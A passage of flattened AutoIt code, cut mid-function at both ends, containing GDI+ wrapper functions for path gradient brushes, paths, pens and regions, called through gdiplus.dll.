@extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_pathbrushgetcenterpoint($hpathgradientbrush) Local $tpointf = DllStructCreate("float;float") Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPathGradientCenterPoint", "handle", $hpathgradientbrush, "struct*", $tpointf) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Local $apointf[2] $apointf[0] = DllStructGetData($tpointf, 1) $apointf[1] = DllStructGetData($tpointf, 2) Return $apointf EndFunc Func _gdiplus_pathbrushgetfocusscales($hpathgradientbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPathGradientFocusScales", "handle", $hpathgradientbrush, "float*", 0, "float*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Local $ascales[2] $ascales[0] = $aresult[2] $ascales[1] = $aresult[3] Return $ascales EndFunc Func _gdiplus_pathbrushgetpointcount($hpathgradientbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPathGradientPointCount", "handle", $hpathgradientbrush, "int*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_pathbrushgetrect($hpathgradientbrush) Local $trectf = DllStructCreate($taggdiprectf) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPathGradientRect", "handle", $hpathgradientbrush, "struct*", $trectf) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Local $arectf[4] For $ii = 1 To 4 $arectf[$ii - 1] = DllStructGetData($trectf, $ii) Next Return $arectf EndFunc Func _gdiplus_pathbrushgetwrapmode($hpathgradientbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPathGradientWrapMode", "handle", $hpathgradientbrush, "int*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_pathbrushmultiplytransform($hpathgradientbrush, $hmatrix, $iorder = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipMultiplyPathGradientTransform", "handle", $hpathgradientbrush, "handle", $hmatrix, "int", $iorder) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathbrushresettransform($hpathgradientbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipResetPathGradientTransform", "handle", $hpathgradientbrush) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathbrushsetblend($hpathgradientbrush, $ablends) Local $icount = $ablends[0][0] Local $tfactors = DllStructCreate("float[" & $icount & "]") Local $tpositions = DllStructCreate("float[" & $icount & "]") For $ii = 1 To $icount DllStructSetData($tfactors, 1, $ablends[$ii][0], $ii) DllStructSetData($tpositions, 1, $ablends[$ii][1], $ii) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPathGradientBlend", "handle", $hpathgradientbrush, "struct*", $tfactors, "struct*", $tpositions, "int", $icount) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathbrushsetcentercolor($hpathgradientbrush, $iargb) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPathGradientCenterColor", "handle", $hpathgradientbrush, "uint", $iargb) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathbrushsetcenterpoint($hpathgradientbrush, $nx, $ny) Local $tpointf = DllStructCreate("float;float") DllStructSetData($tpointf, 1, $nx) DllStructSetData($tpointf, 2, $ny) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPathGradientCenterPoint", "handle", $hpathgradientbrush, "struct*", $tpointf) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathbrushsetfocusscales($hpathgradientbrush, $fscalex, $fscaley) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPathGradientFocusScales", "handle", $hpathgradientbrush, "float", $fscalex, "float", $fscaley) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathbrushsetgammacorrection($hpathgradientbrush, $busegammacorrection) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPathGradientGammaCorrection", "handle", $hpathgradientbrush, "int", $busegammacorrection) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathbrushsetlinearblend($hpathgradientbrush, $ffocus, $fscale = 1) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPathGradientLinearBlend", "handle", $hpathgradientbrush, "float", $ffocus, "float", $fscale) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathbrushsetpresetblend($hpathgradientbrush, $ainterpolations) Local $icount = $ainterpolations[0][0] Local $tcolors = DllStructCreate("uint[" & $icount & "]") Local $tpositions = DllStructCreate("float[" & $icount & "]") For $ii = 1 To $icount DllStructSetData($tcolors, 1, $ainterpolations[$ii][0], $ii) DllStructSetData($tpositions, 1, $ainterpolations[$ii][1], $ii) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPathGradientPresetBlend", "handle", $hpathgradientbrush, "struct*", $tcolors, "struct*", $tpositions, "int", $icount) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathbrushsetsigmablend($hpathgradientbrush, $ffocus, $fscale = 1) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPathGradientSigmaBlend", "handle", $hpathgradientbrush, "float", $ffocus, "float", $fscale) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathbrushsetsurroundcolor($hpathgradientbrush, $iargb) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPathGradientSurroundColorsWithCount", "handle", $hpathgradientbrush, "uint*", $iargb, "int*", 1) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathbrushsetsurroundcolorswithcount($hpathgradientbrush, $acolors) Local $icount = $acolors[0] Local $icolors = _gdiplus_pathbrushgetpointcount($hpathgradientbrush) If $icolors < $icount Then $icount = $icolors Local $tcolors = DllStructCreate("uint[" & $icount & "]") For $ii = 1 To $icount DllStructSetData($tcolors, 1, $acolors[$ii], $ii) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPathGradientSurroundColorsWithCount", "handle", $hpathgradientbrush, "struct*", $tcolors, "int*", $icount) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[3] EndFunc Func _gdiplus_pathbrushsettransform($hpathgradientbrush, $hmatrix) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPathGradientTransform", "handle", $hpathgradientbrush, "handle", $hmatrix) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathbrushsetwrapmode($hpathgradientbrush, $iwrapmode) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPathGradientWrapMode", "handle", $hpathgradientbrush, "int", $iwrapmode) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathclone($hpath) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipClonePath", "handle", $hpath, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_pathclosefigure($hpath) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipClosePathFigure", "handle", $hpath) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathcreate($ifillmode = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreatePath", "int", $ifillmode, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_pathcreate2($apathdata, $ifillmode = 0) Local $icount = $apathdata[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") Local $ttypes = DllStructCreate("byte[" & $icount & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apathdata[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apathdata[$ii][1], (($ii - 1) * 2) + 2) DllStructSetData($ttypes, 1, $apathdata[$ii][2], $ii) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreatePath2", "struct*", $tpoints, "struct*", $ttypes, "int", $icount, "int", $ifillmode, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[5] EndFunc Func _gdiplus_pathdispose($hpath) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDeletePath", "handle", $hpath) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathflatten($hpath, $fflatness = 0.25, $hmatrix = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipFlattenPath", "handle", $hpath, "handle", $hmatrix, "float", $fflatness) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathgetdata($hpath) Local $icount = _gdiplus_pathgetpointcount($hpath) Local $tpathdata = DllStructCreate("int Count; ptr Points; ptr Types;") Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") Local $ttypes = DllStructCreate("byte[" & $icount & "]") DllStructSetData($tpathdata, "Count", $icount) DllStructSetData($tpathdata, "Points", DllStructGetPtr($tpoints)) DllStructSetData($tpathdata, "Types", DllStructGetPtr($ttypes)) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPathData", "handle", $hpath, "struct*", $tpathdata) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError($aresult[0], $aresult[0], -1) Local $adata[$icount + 1][3] $adata[0][0] = $icount For $ii = 1 To $icount $adata[$ii][0] = DllStructGetData($tpoints, 1, (($ii - 1) * 2) + 1) $adata[$ii][1] = DllStructGetData($tpoints, 1, (($ii - 1) * 2) + 2) $adata[$ii][2] = DllStructGetData($ttypes, 1, $ii) Next Return $adata EndFunc Func _gdiplus_pathgetfillmode($hpath) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPathFillMode", "handle", $hpath, "int*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_pathgetlastpoint($hpath) Local $tpointf = DllStructCreate("float;float") Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPathLastPoint", "handle", $hpath, "struct*", $tpointf) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Local $apointf[2] $apointf[0] = DllStructGetData($tpointf, 1) $apointf[1] = DllStructGetData($tpointf, 2) Return $apointf EndFunc Func _gdiplus_pathgetpointcount($hpath) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPointCount", "handle", $hpath, "int*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_pathgetpoints($hpath) Local $ii, $icount, $tpoints, $apoints[1][1], $aresult $icount = _gdiplus_pathgetpointcount($hpath) If @error Then Return SetError(@error + 10, @extended, -1) $tpoints = DllStructCreate("float[" & $icount * 2 & "]") $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPathPoints", "handle", $hpath, "struct*", $tpoints, "int", $icount) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Local $apoints[$icount + 1][2] $apoints[0][0] = $icount For $ii = 1 To $icount $apoints[$ii][0] = DllStructGetData($tpoints, 1, (($ii - 1) * 2) + 1) $apoints[$ii][1] = DllStructGetData($tpoints, 1, (($ii - 1) * 2) + 2) Next Return $apoints EndFunc Func _gdiplus_pathgetworldbounds($hpath, $hmatrix = 0, $hpen = 0) Local $trectf = DllStructCreate($taggdiprectf) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPathWorldBounds", "handle", $hpath, "struct*", $trectf, "handle", $hmatrix, "handle", $hpen) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Local $arectf[4] For $ii = 1 To 4 $arectf[$ii - 1] = DllStructGetData($trectf, $ii) Next Return $arectf EndFunc Func _gdiplus_pathisoutlinevisiblepoint($hpath, $nx, $ny, $hpen = 0, $hgraphics = 0) __gdiplus_pendefcreate($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipIsOutlineVisiblePathPoint", "handle", $hpath, "float", $nx, "float", $ny, "handle", $hpen, "handle", $hgraphics, "int*", 0) __gdiplus_pendefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return $aresult[6] <> 0 EndFunc Func _gdiplus_pathisvisiblepoint($hpath, $nx, $ny, $hgraphics = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipIsVisiblePathPoint", "handle", $hpath, "float", $nx, "float", $ny, "handle", $hgraphics, "int*", 0) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return $aresult[5] <> 0 EndFunc Func _gdiplus_pathitercreate($hpath) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreatePathIter", "handle*", 0, "handle", $hpath) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[1] EndFunc Func _gdiplus_pathiterdispose($hpathiter) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDeletePathIter", "handle", $hpathiter) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathitergetsubpathcount($hpathiter) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipPathIterGetSubpathCount", "handle", $hpathiter, "int*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_pathiternextmarkerpath($hpathiter, $hpath) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipPathIterNextMarkerPath", "handle", $hpathiter, "int*", 0, "handle", $hpath) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_pathiternextsubpathpath($hpathiter, $hpath) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipPathIterNextSubpathPath", "handle", $hpathiter, "int*", 0, "handle", $hpath, "bool*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Local $areturn[2] $areturn[0] = $aresult[2] $areturn[1] = $aresult[4] Return $areturn EndFunc Func _gdiplus_pathiterrewind($hpathiter) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipPathIterRewind", "handle", $hpathiter) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathreset($hpath) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipResetPath", "handle", $hpath) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathreverse($hpath) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipReversePath", "handle", $hpath) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathsetfillmode($hpath, $ifillmode) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPathFillMode", "handle", $hpath, "int", $ifillmode) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathsetmarker($hpath) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPathMarker", "handle", $hpath) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathstartfigure($hpath) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipStartPathFigure", "handle", $hpath) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathtransform($hpath, $hmatrix) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipTransformPath", "handle", $hpath, "handle", $hmatrix) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathwarp($hpath, $hmatrix, $apoints, $nx, $ny, $nwidth, $nheight, $iwarpmode = 0, $fflatness = 0.25) Local $icount = $apoints[0][0] If $icount <> 3 AND $icount <> 4 Then Return SetError(11, 0, False) Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], ($ii - 1) * 2 + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], ($ii - 1) * 2 + 2) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipWarpPath", "handle", $hpath, "handle", $hmatrix, "struct*", $tpoints, "int", $icount, "float", $nx, "float", $ny, "float", $nwidth, "float", $nheight, "int", $iwarpmode, "float", $fflatness) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathwiden($hpath, $hpen, $hmatrix = 0, $fflatness = 0.25) __gdiplus_pendefcreate($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipWidenPath", "handle", $hpath, "handle", $hpen, "handle", $hmatrix, "float", $fflatness) __gdiplus_pendefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pathwindingmodeoutline($hpath, $hmatrix = 0, $fflatness = 0.25) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipWindingModeOutline", "handle", $hpath, "handle", $hmatrix, "float", $fflatness) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pencreate($iargb = -16777216, $nwidth = 1, $iunit = 2) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreatePen1", "dword", $iargb, "float", $nwidth, "int", $iunit, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[4] EndFunc Func _gdiplus_pencreate2($hbrush, $nwidth = 1, $iunit = 2) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreatePen2", "handle", $hbrush, "float", $nwidth, "int", $iunit, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[4] EndFunc Func _gdiplus_pendispose($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDeletePen", "handle", $hpen) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pengetalignment($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPenMode", "handle", $hpen, "int*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_pengetcolor($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPenColor", "handle", $hpen, "dword*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_pengetcustomendcap($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPenCustomEndCap", "handle", $hpen, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_pengetdashcap($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPenDashCap197819", "handle", $hpen, "int*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_pengetdashstyle($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPenDashStyle", "handle", $hpen, "int*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_pengetendcap($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPenEndCap", "handle", $hpen, "int*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_pengetmiterlimit($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPenMiterLimit", "handle", $hpen, "float*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_pengetwidth($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetPenWidth", "handle", $hpen, "float*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_pensetalignment($hpen, $ialignment = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPenMode", "handle", $hpen, "int", $ialignment) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pensetcolor($hpen, $iargb) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPenColor", "handle", $hpen, "dword", $iargb) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pensetcustomendcap($hpen, $hendcap) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPenCustomEndCap", "handle", $hpen, "handle", $hendcap) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pensetdashcap($hpen, $idash = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPenDashCap197819", "handle", $hpen, "int", $idash) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pensetdashstyle($hpen, $istyle = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPenDashStyle", "handle", $hpen, "int", $istyle) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pensetendcap($hpen, $iendcap) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPenEndCap", "handle", $hpen, "int", $iendcap) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pensetlinecap($hpen, $istartcap, $iendcap, $idashcap) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPenLineCap197819", "handle", $hpen, "int", $istartcap, "int", $iendcap, "int", $idashcap) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pensetlinejoin($hpen, $ilinejoin) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPenLineJoin", "handle", $hpen, "int", $ilinejoin) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pensetmiterlimit($hpen, $fmiterlimit) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPenMiterLimit", "handle", $hpen, "float", $fmiterlimit) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pensetstartcap($hpen, $ilinecap) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPenStartCap", "handle", $hpen, "int", $ilinecap) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_pensetwidth($hpen, $fwidth) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPenWidth", "handle", $hpen, "float", $fwidth) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_rectfcreate($nx = 0, $ny = 0, $nwidth = 0, $nheight = 0) Local $trectf = DllStructCreate($taggdiprectf) DllStructSetData($trectf, "X", $nx) DllStructSetData($trectf, "Y", $ny) DllStructSetData($trectf, "Width", $nwidth) DllStructSetData($trectf, "Height", $nheight) Return $trectf EndFunc Func _gdiplus_regionclone($hregion) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCloneRegion", "handle", $hregion, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_regioncombinepath($hregion, $hpath, $icombinemode = 2) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCombineRegionPath", "handle", $hregion, "handle", $hpath, "int", $icombinemode) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_regioncombinerect($hregion, $nx, $ny, $nwidth, $nheight, $icombinemode = 2) Local $trectf = _gdiplus_rectfcreate($nx, $ny, $nwidth, $nheight) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCombineRegionRect", "handle", $hregion, "struct*", $trectf, "int", $icombinemode) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_regioncombineregion($hregiondst, $hregionsrc, $icombinemode = 2) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCombineRegionRegion", "handle", $hregiondst, "handle", $hregionsrc, "int", $icombinemode) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_regioncreate() Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateRegion", "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[1] EndFunc Func _gdiplus_regioncreatefrompath($hpath) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateRegionPath", "handle", $hpath, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_regioncreatefromrect($nx, $ny, $nwidth, $nheight) Local $trectf = _gdiplus_rectfcreate($nx, $ny, $nwidth, $nheight) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateRegionRect", "struct*", $trectf, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_regiondispose($hregion) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDeleteRegion", "handle", $hregion) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_regiongetbounds($hregion, $hgraphics) Local $trectf = DllStructCreate($taggdiprectf) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetRegionBounds", "handle", $hregion, "handle", $hgraphics, "struct*", $trectf) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Local $abounds[4] For $ii = 1 To 4 $abounds[$ii - 1] = DllStructGetData($trectf, $ii) Next Return $abounds EndFunc Func _gdiplus_regiongethrgn($hregion, $hgraphics = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetRegionHRgn", "handle", $hregion, "handle", $hgraphics, "handle*", 0) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return $aresult[3] EndFunc Func _gdiplus_regiontransform($hregion, $hmatrix) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipTransformRegion", "handle", $hregion, "handle", $hmatrix) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_regiontranslate($hregion, $ndx, $ndy) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipTranslateRegion", "handle", $hregion, "float", $ndx, "float", $ndy) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_shutdown() If $__g_hgdipdll = 0 Then Return SetError(-1, -1, False) $__g_igdipref -= 1 If $__g_igdipref = 0 Then DllCall($__g_hgdipdll, "none", "GdiplusShutdown", "ulong_ptr", $__g_igdiptoken) DllClose($__g_hgdipdll) $__g_hgdipdll = 0 EndIf Return True EndFunc Func _gdiplus_startup($sgdipdll = Default, $bretdllhandle = False) $__g_igdipref += 1 If $__g_igdipref > 1 Then Return True If $sgdipdll = Default Then $sgdipdll = "gdiplus.dll" $__g_hgdipdll = 